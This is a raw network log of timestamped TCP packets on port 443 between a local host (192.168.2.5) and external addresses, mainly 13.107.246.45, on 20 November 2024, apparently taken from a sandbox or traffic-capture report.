Nov 20, 2024 06:40:51.041016102 CET	50003	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:51.041069984 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:51.041371107 CET	50003	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:51.041378021 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:51.395271063 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:51.395777941 CET	443	50003	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:51.395873070 CET	50003	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:51.497195959 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.497638941 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.497680902 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.498187065 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.498202085 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.573293924 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.605365038 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.606343985 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.606775999 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.606873989 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.607682943 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.607702971 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.611587048 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.611593962 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.654813051 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.664453030 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.669238091 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.683197975 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.683214903 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.683823109 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.683831930 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.684101105 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.684124947 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.684137106 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.684144974 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.694413900 CET	50008	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.694478035 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.697678089 CET	50008	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.697694063 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.701005936 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.701019049 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.704226971 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.704232931 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.708455086 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.708565950 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.708615065 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.708622932 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.708683014 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.708725929 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.709065914 CET	50009	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.709114075 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.709140062 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.709157944 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.709168911 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.709176064 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.709181070 CET	50009	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.710643053 CET	50009	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.710661888 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.714796066 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.714858055 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.714920998 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.715106010 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.715137005 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.780951977 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.781164885 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.781229973 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.781295061 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.781295061 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.781328917 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.781352997 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.784200907 CET	50011	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.784262896 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.784327984 CET	50011	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.784476042 CET	50011	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.784506083 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.794080019 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.794265032 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.794337988 CET	50008	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.794403076 CET	50008	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.794404030 CET	50008	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.794435978 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.794459105 CET	443	50008	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.796845913 CET	50012	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.796889067 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.796955109 CET	50012	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.797112942 CET	50012	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.797127008 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.804636002 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.804770947 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.804822922 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.804828882 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.804884911 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.804929018 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.804941893 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.804955959 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.804963112 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.807087898 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.807126999 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:51.807178974 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.807308912 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:51.807332993 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.355592966 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.356080055 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.356103897 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.356900930 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.356908083 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.375159025 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.375535965 CET	50009	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.375587940 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.375983000 CET	50009	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.375996113 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.419778109 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.420650959 CET	50011	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.420674086 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.422117949 CET	50011	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.422128916 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.443841934 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.444230080 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.444267988 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.444668055 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.444674969 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.457604885 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.457773924 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.458030939 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.458092928 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.458107948 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.458163023 CET	50012	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.458193064 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.458261013 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.458333969 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.458350897 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.458363056 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.458369017 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.458678007 CET	50012	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.458687067 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.461177111 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.461210012 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.461293936 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.461604118 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.461616993 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.481106997 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.481174946 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.481323957 CET	50009	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.481420994 CET	50009	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.481420994 CET	50009	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.481452942 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.481479883 CET	443	50009	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.483800888 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.483833075 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.484080076 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.484217882 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.484232903 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.519238949 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.519447088 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.519506931 CET	50011	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.519567966 CET	50011	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.519567966 CET	50011	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.519587994 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.519608974 CET	443	50011	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.521848917 CET	50016	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.521884918 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.522057056 CET	50016	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.522227049 CET	50016	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.522241116 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.566601992 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.566898108 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.566967964 CET	50012	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.567033052 CET	50012	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.567033052 CET	50012	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.567058086 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.567071915 CET	443	50012	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.569531918 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.569571972 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.569638968 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.569797039 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.569813967 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.726387978 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.726421118 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.726505041 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.726540089 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.726598024 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.726654053 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.726799965 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.726800919 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.726816893 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.726826906 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.729619026 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.729659081 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:52.729768991 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.729939938 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:52.729958057 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.122569084 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.123016119 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.123049021 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.123577118 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.123586893 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.159590006 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.164030075 CET	50016	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.164041042 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.164742947 CET	50016	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.164747953 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.164947987 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.165563107 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.165591955 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.165945053 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.165951967 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.217531919 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.217902899 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.217931032 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.218354940 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.218360901 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.225548029 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.225759029 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.225884914 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.225920916 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.225936890 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.225967884 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.225975990 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.228132010 CET	50019	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.228180885 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.228349924 CET	50019	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.228452921 CET	50019	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.228465080 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.260082960 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.260267973 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.260334015 CET	50016	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.260354042 CET	50016	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.260364056 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.260392904 CET	50016	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.260396957 CET	443	50016	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.262325048 CET	50020	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.262372971 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.262623072 CET	50020	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.262738943 CET	50020	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.262756109 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.270266056 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.270328045 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.270421982 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.270427942 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.270477057 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.270613909 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.270613909 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.270632982 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.270646095 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.272445917 CET	50021	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.272481918 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.272581100 CET	50021	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.272691011 CET	50021	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.272702932 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.317347050 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.317528963 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.321513891 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.321576118 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.321576118 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.321594000 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.321608067 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.323342085 CET	50022	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.323401928 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.323601007 CET	50022	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.323693037 CET	50022	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.323699951 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.370767117 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.371113062 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.371128082 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.371524096 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.371531010 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.471004009 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.471126080 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.471193075 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.471283913 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.471821070 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.471843958 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.471857071 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.471864939 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.475322008 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.475369930 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.475435019 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.475603104 CET	50023	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.475619078 CET	443	50023	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.867233038 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.867628098 CET	50019	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.867645979 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.868257999 CET	50019	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.868262053 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.957360029 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.957869053 CET	50020	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.957911015 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.958384991 CET	50020	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.958391905 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.959386110 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.959754944 CET	50021	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.959774017 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.960249901 CET	50021	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.960256100 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.969160080 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.969492912 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.972964048 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.973051071 CET	50019	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.973481894 CET	50022	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.973507881 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.973858118 CET	50022	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.973865032 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.973891973 CET	50019	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.973908901 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.973989010 CET	50019	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.973994970 CET	443	50019	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.976381063 CET	50024	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.976459026 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:53.976560116 CET	50024	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.976737022 CET	50024	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:53.976768017 CET	443	50024	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.064040899 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.064150095 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.064364910 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.064565897 CET	50020	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.064649105 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.064766884 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.064829111 CET	50021	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.072146893 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.072479963 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.073472977 CET	50022	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.102758884 CET	50020	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.102760077 CET	50020	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.102843046 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.102874994 CET	443	50020	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.104090929 CET	50021	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.104124069 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.104140043 CET	50021	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.104149103 CET	443	50021	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.104933023 CET	50022	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.104953051 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.104978085 CET	50022	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.104993105 CET	443	50022	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.110255957 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.110316992 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.110383987 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.111145020 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.111232996 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.111305952 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.111934900 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.111944914 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:54.111999035 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:54.112262011 CET	50025	443	192.168.2.5	13.107.246.45
